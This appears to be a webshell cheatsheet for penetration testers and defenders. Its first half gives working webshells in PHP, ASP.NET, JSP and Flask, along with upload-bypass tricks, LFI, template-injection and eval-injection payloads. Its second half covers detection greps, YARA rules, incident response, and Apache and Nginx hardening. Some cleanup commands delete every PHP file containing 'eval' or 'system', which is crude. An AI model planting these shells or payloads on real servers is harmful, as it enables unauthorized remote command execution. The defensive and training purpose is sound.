Skip to content

Webshells

Webshells are server-side scripts that provide remote command execution capabilities on web servers. This cheatsheet covers webshell types, deployment methods, detection techniques, and security hardening. Understanding webshells is critical for authorized penetration testing, incident response, forensics, and defensive security operations.

<?php
system($_GET['cmd']);
?>
<?php
@eval($_POST['cmd']);
?>
<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
}
?>
<?php
if($_FILES["file"]["error"] > 0) {
    echo "Error: " . $_FILES["file"]["error"];
} else {
    move_uploaded_file(
        $_FILES["file"]["tmp_name"],
        "./uploads/" . $_FILES["file"]["name"]
    );
}
?>
<%@ Page Language="C#" %>
<%
    try {
        System.Diagnostics.ProcessStartInfo psi = 
            new System.Diagnostics.ProcessStartInfo();
        psi.FileName = "cmd.exe";
        psi.Arguments = "/c " + Request.Form["cmd"];
        psi.RedirectStandardOutput = true;
        System.Diagnostics.Process p = System.Diagnostics.Process.Start(psi);
        Response.Write(p.StandardOutput.ReadToEnd());
    } catch(Exception e) {
        Response.Write("Error: " + e.Message);
    }
%>
<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    Process p = Runtime.getRuntime().exec(cmd);
    InputStream in = p.getInputStream();
    BufferedReader reader = new BufferedReader(new InputStreamReader(in));
    String line;
    while((line = reader.readLine()) != null) {
        out.println(line);
    }
%>
from flask import Flask, request
import subprocess

app = Flask(__name__)

@app.route('/shell')
def shell():
    cmd = request.args.get('cmd', '')
    if cmd:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
        return result.stdout + result.stderr
    return "Shell ready"

if __name__ == '__main__':
    app.run()
# Bypass file type restrictions
# 1. Rename: shell.php -> shell.php.jpg
# 2. MIME type: Change Content-Type to image/jpeg
# 3. Double extension: shell.php.jpg
# 4. Null byte: shell.php%00.jpg (older systems)

curl -F "file=@shell.php" \
     -H "Content-Type: image/jpeg" \
     https://example.com/upload.php
# If LFI vulnerability exists
# Write webshell to web directory
https://example.com/download.php?file=../../../var/www/html/shell.php

# Using PHP wrappers
https://example.com/view.php?file=php://input
# POST: <?php system($_GET['cmd']); ?>
# Jinja2/Mako template injection
{{ ''.__class__.__mro__[1].__subclasses__()[396]('id').read() }}

# Twig injection
{{ _self.env.registerUndefinedFilterCallback("exec")("id") }}
# eval() injection
https://example.com/page.php?input=system('whoami');

# assert() injection
https://example.com/page.php?code=system($_POST['cmd']);
# Look for webshell filenames
find / -name "shell.php"
find / -name "cmd.php"
find / -name "c99.php"
find / -name "r57.php"
find / -name "c100.php"
# Search for suspicious PHP functions
grep -r "system\|exec\|passthru\|eval\|shell_exec" /var/www/

# Search for POST/GET processing
grep -r "\$_POST\|\$_GET\|\$_REQUEST" /var/www/ | grep -i "cmd\|command\|exec"

# Look for base64 encoding (obfuscation)
grep -r "base64_decode\|eval" /var/www/html/
# Monitor process execution from web server
strace -p $(pgrep apache2) -e trace=execve

# Check web server logs for suspicious patterns
grep -i "cmd=\|exec=\|system=" /var/log/apache2/access.log

# Monitor file descriptor usage
lsof -p $(pgrep apache2) | grep -i tmp
# Check file timestamps
stat shell.php

# File access logs
grep "shell.php" /var/log/apache2/access.log

# Last modified time
ls -la shell.php
# Calculate file hash
md5sum shell.php
sha256sum shell.php

# Compare against malware databases
# VirusTotal, MalwareBazaar, YARA rules
import re

def analyze_webshell(filepath):
    with open(filepath, 'r') as f:
        content = f.read()
    
    # Suspicious functions
    suspicious = [
        'system', 'exec', 'passthru', 'shell_exec',
        'eval', 'assert', 'include', 'require',
        'base64_decode', 'file_get_contents'
    ]
    
    findings = []
    for func in suspicious:
        if func in content:
            findings.append(func)
    
    return findings

results = analyze_webshell('suspected_shell.php')
print(f"Found suspicious functions: {results}")
rule PHP_Webshell_System_Call {
    meta:
        description = "Detects PHP webshell using system()"
        author = "Security Team"
    strings:
        $a = "system(" nocase
        $b = "$_GET" nocase
        $c = "$_POST" nocase
        $d = "$_REQUEST" nocase
    condition:
        all of them
}
rule ASPNET_Webshell {
    strings:
        $a = "ProcessStartInfo" nocase
        $b = "cmd.exe" nocase
        $c = "Process.Start" nocase
    condition:
        all of them
}
#!/bin/bash

echo "[*] Webshell Discovery Script"

# 1. Find recently modified PHP files
echo "[+] Recently modified PHP files:"
find /var/www -name "*.php" -mtime -7 -type f

# 2. Find new files in upload directories
echo "[+] New files in upload directories:"
find /var/www/html/uploads -type f -mtime -7

# 3. Search for suspicious content
echo "[+] Searching for eval() and system():"
grep -r "eval\|system\|exec\|passthru" /var/www/html --include="*.php"

# 4. Check file permissions
echo "[+] World-writable files:"
find /var/www -type f -perm -002

# 5. Monitor process execution
echo "[+] Recent process execution:"
journalctl -u apache2 -n 100 | grep -i "cmd\|exec\|shell"
# 1. Isolate affected system
# Disconnect from network or restrict connections

# 2. Preserve evidence
cp -r /var/www/html /tmp/www-backup-$(date +%s)
tar czf /tmp/www-backup.tar.gz /var/www/html

# 3. Identify entry point
grep -r "GET\|POST" /var/log/apache2/access.log | grep "upload\|file"

# 4. Remove webshells
find /var/www -type f -name "shell*.php" -delete

# 5. Verify removal
grep -r "system\|exec" /var/www/html | grep -v ".git"

# 6. Patch vulnerabilities
# - Update file upload restrictions
# - Fix LFI vulnerabilities
# - Implement WAF rules
# Apache: Disable PHP execution in upload directory
<Directory /var/www/html/uploads>
    php_flag engine off
    AddType text/plain .php .php3 .php4 .php5 .phtml
</Directory>

# Disable dangerous functions
php_admin_value disable_functions "system,exec,passthru,shell_exec,eval"

# Restrict file uploads
<FilesMatch "\.(?:php|phtml|php3|php4|php5|phps)$">
    Order Deny,Allow
    Deny from all
</FilesMatch>
# Nginx: Prevent PHP execution in upload directory
location /uploads/ {
    location ~ \.php$ {
        return 403;
    }
}

# Restrict file upload types
client_max_body_size 5M;
client_body_buffer_size 128k;
# Restrict web directory permissions
chmod 755 /var/www/html
chmod 644 /var/www/html/*.php
chmod 750 /var/www/html/uploads

# Prevent file modification
chattr +i /var/www/html/*.php

# Implement SELinux context
semanage fcontext -a -t httpd_sys_content_t "/var/www/html(/.*)?"
import os
import hashlib
import time
from pathlib import Path

def monitor_webroot(webroot_path):
    """Monitor webroot for new/modified files"""
    
    file_hashes = {}
    
    while True:
        for filepath in Path(webroot_path).rglob('*.php'):
            with open(filepath, 'rb') as f:
                file_hash = hashlib.sha256(f.read()).hexdigest()
            
            if filepath not in file_hashes:
                file_hashes[filepath] = file_hash
                print(f"[NEW] {filepath}")
            elif file_hashes[filepath] != file_hash:
                print(f"[MODIFIED] {filepath}")
                file_hashes[filepath] = file_hash
        
        time.sleep(5)

monitor_webroot('/var/www/html')
# Monitor for webshell access patterns
tail -f /var/log/apache2/access.log | grep -i "cmd=\|exec=\|system="

# Alert on suspicious patterns
grep -E "(cmd|exec|system|shell|eval)=" /var/log/apache2/access.log | \
  awk '{print $1}' | sort | uniq -c | sort -rn
Shell NameTypeFeatures
c99PHPFile manager, terminal, SQL tools
c100PHPAdvanced file operations
r57PHPMulti-tool, stealth options
WeevelyPythonStealth shell, encryption
JSP ShellJSPCommand execution, file upload
ASP ShellASPWindows command execution
China ChopperMultipleHTTP tunnel, encryption
# Look for:
# - Comments in non-English
# - Specific variable naming patterns
# - Obfuscation techniques
# - Hardcoded credentials
# - Tool-specific signatures

strings suspicious.php | head -20
hexdump -C suspicious.php | head -20
# Remove webshells
find /var/www -type f -name "*.php" -exec sh -c '
  if grep -q "system\|exec\|eval" "$1"; then
    echo "Removing: $1"
    rm "$1"
  fi
' _ {} \;

# Restore from backup
tar xzf /backup/www-clean.tar.gz -C /var/www

# Verify integrity
tripwire --check > tripwire-report.txt
aide --check

Webshells are illegal tools for unauthorized system access. This information is for authorized penetration testing, incident response, and security research only. Unauthorized deployment or execution is a serious crime. Only test on systems you own or have explicit written permission to test.